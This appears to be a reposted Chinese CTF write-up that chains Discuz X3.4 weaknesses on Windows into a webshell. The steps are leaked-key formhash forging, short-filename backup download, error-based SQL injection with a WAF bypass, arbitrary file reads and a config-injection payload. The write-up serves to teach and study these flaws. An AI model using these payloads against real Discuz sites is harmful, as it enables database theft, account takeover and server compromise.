原标题:空指针Base on windows Writeup
周末看了一下这次空指针的第三次Web公开赛,稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的环境,我们需要在这样一份几乎真实环境下的DZ中完成Get shell。这一下子提起了我的兴趣,接下来我们就一起梳理下这个渗透过程。
与默认环境的区别是,我们这次拥有两个额外的条件。
1、Web环境的后端为Windows
2、我们获得了一份config文件,里面有最重要的authkey
得到这两个条件之后,我们开始这次的渗透过程。
以下可能会多次提到的出题人写的DZ漏洞整理
这是一篇“不一样”的真实渗透测试案例分析文章authkey有什么用? / ------------------------- CONFIG SECURITY -------------------------- // $_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';
authkey是DZ安全体系里最重要的主密钥,在DZ本体中,涉及到密钥相关的,基本都是用authkey和COOKIE中的saltkey加密构造的。
当我们拥有了这个authkey之后,我们可以计算DZ本体各类操作相关的formhash(DZ所有POST相关的操作都需要计算formhash)
配合authkey,我们可以配合source/include/misc/misc_emailcheck.php中的修改注册邮箱项来修改任意用户绑定的邮箱,但管理员不能使用修改找回密码的api。
可以用下面的脚本计算formhash
$username = "ddog"; $uid = 51; $saltkey = "SuPq5mmP"; $config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E"; $authkey = md5($config_authkey.$saltkey); $formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);
当我们发现光靠authkey没办法进一步渗透的时候,我们把目标转回到hint上。
1、Web环境的后端为Windows
2、dz有正常的备份数据,备份数据里有重要的key值windows短文件名安全问题
在2019年8月,dz曾爆出过这样一个问题。
windows短文件名安全问题 数据库备份爆破
在windows环境下&#xff0c;有许多特殊的有关通配符类型的文件名展示方法&#xff0c;其中不仅仅有 <>”这类可以做通配符的符号&#xff0c;还有类似于~的省略写法。这个问题由于问题的根在服务端&#xff0c;所以cms无法修复&#xff0c;所以这也就成了一个长久的问题存在。
具体的细节可以参考下面这篇文章&#xff1a;
Windows下的”你画我猜” — 告别效率低下的目录扫描方法
配合这两篇文章&#xff0c;我们可以直接去读数据库的备份文件&#xff0c;这个备份文件存在
/data/backup_xxxxxx/200509_xxxxxx-1.sql
我们可以直接用
http://xxxxx/data/backup~1/200507~2.sql
拿到数据库文件
从数据库文件中&#xff0c;我们可以找到UC_KEY(dz)
在pre_ucenter_applications的authkey字段找到UC_KEY(dz)
至此我们得到了两个信息&#xff1a;
uckey x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5 authkey 87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E
当我们有了这两个key之后&#xff0c;我们可以直接调用uc_client的uc.php任意api。&#xff0c;后面的进一步利用也是建立在这个基础上。
uc.php api 利用
这里我们主要关注/api/uc.php
通过UC_KEY来计算code&#xff0c;然后通过authkey计算formhash&#xff0c;我们就可以调用当前api下的任意函数&#xff0c;而在这个api下有几个比较重要的操作。
我们先把目光集中到updateapps上来&#xff0c;这个函数的特殊之处在于由于DZ直接使用preg_replace替换了UC_API&#xff0c;可以导致后台的getshell。
具体详细分析可以看&#xff0c;这个漏洞最初来自于&#64;dawu&#xff0c;我在CSS上的演讲中提到过这个后台getshell&#xff1a;
根据这里的操作&#xff0c;我们可以构造$code &#61; ‘time&#61;’.time.’&action&#61;updateapps’;
来触发updateapps&#xff0c;可以修改配置中的UC_API&#xff0c;但是在之前的某一个版本更新中&#xff0c;这里加入了条件限制。
if($post[&#39;UC_API&#39;]) { $UC_API &#61; str_replace(array(&#39;\&#39;&#39;, &#39;"&#39;, &#39;\\&#39;, "\0", "\n", "\r"), &#39;&#39;, $post[&#39;UC_API&#39;]); unset($post[&#39;UC_API&#39;]); }
由于过滤了单引号&#xff0c;导致我们注入的uc api不能闭合引号&#xff0c;所以单靠这里的api我们没办法完成getshell。
换言之&#xff0c;我们必须登录后台使用后台的修改功能&#xff0c;才能配合getshell。至此&#xff0c;我们的渗透目标改为如何进入后台。
如何进入DZ后台&#xff1f;
首先我们必须明白&#xff0c;DZ的前后台账户体系是分离的&#xff0c;包括uc api在内的多处功能&#xff0c;login都只能登录前台账户&#xff0c;
也就是说&#xff0c;进入DZ的后台的唯一办法就是必须知道DZ的后台密码&#xff0c;而这个密码是不能通过前台的忘记密码来修改的&#xff0c;所以我们需要寻找办法来修改密码。
这里主要有两种办法&#xff0c;也对应两种攻击思路&#xff1a;
1、配合报错注入的攻击链
2、使用数据库备份还原修改密码1、配合报错注入的攻击链
继续研究uc.php&#xff0c;我在renameuser中找到一个注入点。
function renameuser($get, $post) { global $_G; if(!API_RENAMEUSER) { return API_RETURN_FORBIDDEN; } $tables &#61; array( &#39;common_block&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;common_invite&#39; &#61;> array(&#39;id&#39; &#61;> &#39;fuid&#39;, &#39;name&#39; &#61;> &#39;fusername&#39;), &#39;common_member_verify_info&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;common_mytask&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;common_report&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;forum_thread&#39; &#61;> array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;), &#39;forum_activityapply&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;forum_groupuser&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;forum_pollvoter&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;forum_post&#39; &#61;> array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;), &#39;forum_postcomment&#39; &#61;> array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;), &#39;forum_ratelog&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_album&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_blog&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_clickuser&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_docomment&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_doing&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_feed&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_feed_app&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_friend&#39; &#61;> array(&#39;id&#39; &#61;> &#39;fuid&#39;, &#39;name&#39; &#61;> &#39;fusername&#39;), &#39;home_friend_request&#39; &#61;> array(&#39;id&#39; &#61;> &#39;fuid&#39;, &#39;name&#39; &#61;> &#39;fusername&#39;), &#39;home_notification&#39; &#61;> array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;), &#39;home_pic&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_poke&#39; &#61;> array(&#39;id&#39; &#61;> &#39;fromuid&#39;, &#39;name&#39; &#61;> &#39;fromusername&#39;), &#39;home_share&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_show&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_specialuser&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_visitor&#39; &#61;> array(&#39;id&#39; &#61;> &#39;vuid&#39;, &#39;name&#39; &#61;> &#39;vusername&#39;), &#39;portal_article_title&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;portal_comment&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;portal_topic&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;portal_topic_pic&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), ); if(!C::t(&#39;common_member&#39;)->update($get[&#39;uid&#39;], array(&#39;username&#39; &#61;> $get[newusername])) && isset($_G[&#39;setting&#39;][&#39;membersplit&#39;])){ C::t(&#39;common_member_archive&#39;)->update($get[&#39;uid&#39;], array(&#39;username&#39; &#61;> $get[newusername])); } loadcache("posttableids"); if($_G[&#39;cache&#39;][&#39;posttableids&#39;]) { foreach($_G[&#39;cache&#39;][&#39;posttableids&#39;] AS $tableid) { $tables[getposttable($tableid)] &#61; array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;); } } foreach($tables as $table &#61;> $conf) { DB::query("UPDATE ".DB::table($table)." SET &#96;$conf[name]&#96;&#61;&#39;$get[newusername]&#39; WHERE &#96;$conf[id]&#96;&#61;&#39;$get[uid]&#39;"); } return API_RETURN_SUCCEED; }
在函数的最下面&#xff0c;$get[newusername]被直接拼接进了update语句中。
但可惜的是&#xff0c;这里链接数据库默认使用mysqli&#xff0c;并不支持堆叠注入&#xff0c;所以我们没办法直接在这里执行update语句来更新密码&#xff0c;这里我们只能构造报错注入来获取数据。
$code &#61; &#39;time&#61;&#39;.time.&#39;&action&#61;renameuser&uid&#61;1&newusername&#61;ddog\&#39;,name&#61;(\&#39;a\&#39; or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid &#61; 1 limit 1)),0)),title&#61;\&#39;a&#39;;
这里值得注意的是&#xff0c;DZ自带的注入waf挺奇怪的&#xff0c;核心逻辑在
\source\class\discuz\discuz_database.php line 375 if (strpos($sql, &#39;/&#39;) &#61;&#61;&#61; false && strpos($sql, &#39;#&#39;) &#61;&#61;&#61; false && strpos($sql, &#39;-- &#39;) &#61;&#61;&#61; false && strpos($sql, &#39;&#64;&#39;) &#61;&#61;&#61; false && strpos($sql, &#39;&#96;&#39;) &#61;&#61;&#61; false && strpos($sql, &#39;"&#39;) &#61;&#61;&#61; false) { $clean &#61; preg_replace("/&#39;(.&#43;?)&#39;/s", &#39;&#39;, $sql); } else { $len &#61; strlen($sql); $mark &#61; $clean &#61; &#39;&#39;; for ($i &#61; 0; $i <$len; $i&#43;&#43;) { $str &#61; $sql[$i]; switch ($str) { case &#39;&#96;&#39;: if(!$mark) { $mark &#61; &#39;&#96;&#39;; $clean .&#61; $str; } elseif ($mark &#61;&#61; &#39;&#96;&#39;) { $mark &#61; &#39;&#39;; } break; case &#39;\&#39;&#39;: if (!$mark) { $mark &#61; &#39;\&#39;&#39;; $clean .&#61; $str; } elseif ($mark &#61;&#61; &#39;\&#39;&#39;) { $mark &#61; &#39;&#39;; } break; case &#39;/&#39;: if (empty($mark) && $sql[$i &#43; 1] &#61;&#61; &#39;*&#39;) { $mark &#61; &#39;/*&#39;; $clean .&#61; $mark; $i&#43;&#43;; } elseif ($mark &#61;&#61; &#39;/*&#39; && $sql[$i - 1] &#61;&#61; &#39;*&#39;) { $mark &#61; &#39;&#39;; $clean .&#61; &#39;*&#39;; } break; case &#39;#&#39;: if (empty($mark)) { $mark &#61; $str; $clean .&#61; $str; } break; case "\n": if ($mark &#61;&#61; &#39;#&#39; || $mark &#61;&#61; &#39;--&#39;) { $mark &#61; &#39;&#39;; } break; case &#39;-&#39;: if (empty($mark) && substr($sql, $i, 3) &#61;&#61; &#39;-- &#39;) { $mark &#61; &#39;-- &#39;; $clean .&#61; $mark; } break; default: break; } $clean .&#61; $mark ? &#39;&#39; : $str; } } if(strpos($clean, &#39;&#64;&#39;) !&#61;&#61; false) { return &#39;-3&#39;; } $clean &#61; preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]&#43;/is", "", strtolower($clean)); if (self::$config[&#39;afullnote&#39;]) { $clean &#61; str_replace(&#39;/**/&#39;, &#39;&#39;, $clean); } if (is_array(self::$config[&#39;dfunction&#39;])) { foreach (self::$config[&#39;dfunction&#39;] as $fun) { if (strpos($clean, $fun . &#39;(&#39;) !&#61;&#61; false) return &#39;-1&#39;; } } if (is_array(self::$config[&#39;daction&#39;])) { foreach (self::$config[&#39;daction&#39;] as $action) { if (strpos($clean, $action) !&#61;&#61; false) return &#39;-3&#39;; } } if (self::$config[&#39;dlikehex&#39;] && strpos($clean, &#39;like0x&#39;)) { return &#39;-2&#39;; } if (is_array(self::$config[&#39;dnote&#39;])) { foreach (self::$config[&#39;dnote&#39;] as $note) { if (strpos($clean, $note) !&#61;&#61; false) return &#39;-4&#39;; } }
然后config中相关的配置为
$_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;0&#39;] &#61; &#39;load_file&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;1&#39;] &#61; &#39;hex&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;2&#39;] &#61; &#39;substring&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;3&#39;] &#61; &#39;if&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;4&#39;] &#61; &#39;ord&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;5&#39;] &#61; &#39;char&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;0&#39;] &#61; &#39;&#64;&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;1&#39;] &#61; &#39;intooutfile&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;2&#39;] &#61; &#39;intodumpfile&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;3&#39;] &#61; &#39;unionselect&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;4&#39;] &#61; &#39;(select&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;5&#39;] &#61; &#39;unionall&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;6&#39;] &#61; &#39;uniondistinct&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;0&#39;] &#61; &#39;/*&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;1&#39;] &#61; &#39;*/&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;2&#39;] &#61; &#39;#&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;3&#39;] &#61; &#39;--&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;4&#39;] &#61; &#39;"&#39;;
这道题目特殊的地方在于&#xff0c;他开启了afullnote
if (self::$config[&#39;afullnote&#39;]) { $clean &#61; str_replace(&#39;/**/&#39;, &#39;&#39;, $clean); }
由于/**/被替换为空&#xff0c;所以我们可以直接用前面的逻辑把select加入到这中间&#xff0c;之后被替换为空&#xff0c;就可以绕过这里的判断。
当我们得到一个报错注入之后&#xff0c;我们尝试读取文件内容&#xff0c;发现由于mysql是5.5.29&#xff0c;所以我们可以直接读取服务器上的任意文件。
$code &#61; &#39;time&#61;&#39;.time.&#39;&action&#61;renameuser&uid&#61;1&newusername&#61;ddog\&#39;,name&#61;(\&#39;a\&#39; or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\&#39;c:/windows/win.ini\&#39;) limit 1)),0)),title&#61;\&#39;a&#39;;
思路走到这里出现了断层&#xff0c;因为我们没办法知道web路径在哪里&#xff0c;所以我们没办法直接读到web文件&#xff0c;这里我僵持了很久&#xff0c;最后还是因为第一个人做出题目后密码是弱密码&#xff0c;我直接查出来进了后台。
在事后回溯的过程中&#xff0c;发现还是有办法的&#xff0c;虽然说对于windows来说&#xff0c;web的路径很灵活&#xff0c;但是实际上对于集成环境来说&#xff0c;一般都安装在c盘下&#xff0c;而且一般人也不会去动服务端的路径。常见的windows集成环境主要有phpstudy和wamp&#xff0c;这两个路径分别为
- /wamp64/www/ - /phpstudy_pro/WWW/
找到相应的路径之后&#xff0c;我们可以读取\uc_server\data\config.inc.php得到uc server的UC_KEY.
之后我们可以直接调用/uc_server/api/dpbak.php中定义的
function sid_encode($username) { $ip &#61; $this->onlineip; $agent &#61; $_SERVER[&#39;HTTP_USER_AGENT&#39;]; $authkey &#61; md5($ip.$agent.UC_KEY); $check &#61; substr(md5($ip.$agent), 0, 8); return rawurlencode($this->authcode("$username\t$check", &#39;ENCODE&#39;, $authkey, 1800)); } function sid_decode($sid) { $ip &#61; $this->onlineip; $agent &#61; $_SERVER[&#39;HTTP_USER_AGENT&#39;]; $authkey &#61; md5($ip.$agent.UC_KEY); $s &#61; $this->authcode(rawurldecode($sid), &#39;DECODE&#39;, $authkey, 1800); if(empty($s)) { return FALSE; } &#64;list($username, $check) &#61; explode("\t", $s); if($check &#61;&#61; substr(md5($ip.$agent), 0, 8)) { return $username; } else { return FALSE; } }
构造管理员的sid来绕过权限验证&#xff0c;通过这种方式我们可以修改密码并登录后台。
2、使用数据库备份还原修改密码
事实上&#xff0c;当上一种攻击方式跟到uc server的UC_KEY时&#xff0c;就不难发现&#xff0c;在/uc_server/api/dbbak.php中有许多关于数据库备份与恢复的操作&#xff0c;这也是我之前没发现的点。
事实上&#xff0c;在/api/dbbak.php就有一模一样的代码和功能&#xff0c;而那个api只需要DZ的UC_KEY就可以操作&#xff0c;我们可以在前台找一个地方上传&#xff0c;然后调用备份恢复覆盖数据库文件&#xff0c;这样就可以修改管理员的密码。
后台getshell
登录了之后就比较简单了&#xff0c;首先
修改uc api 为
http://127.0.0.1/uc_server&#39;);phpinfo;//
然后使用预先准备poc更新uc api
这里返回11就可以了
写在最后
整道题目主要围绕的DZ的核心密钥安全体系&#xff0c;实际上除了在windows环境下&#xff0c;几乎没有其他的特异条件&#xff0c;再加上短文件名问题原因主要在服务端&#xff0c;我们很容易找到备份文件&#xff0c;在找到备份文件之后&#xff0c;我们可以直接从数据库获得最重要的authkey和uc key&#xff0c;接下来的渗透过程就顺理成章了。
从这篇文章中&#xff0c;你也可以窥得在不同情况下利用方式得拓展&#xff0c;配合原文阅读可以获得更多的思路。
REF
*本文作者&#xff1a;LoRexxar’&#64;知道创宇404实验室&#xff0c;转载请注明来自FreeBuf.COM返回搜狐&#xff0c;查看更多
责任编辑&#xff1a;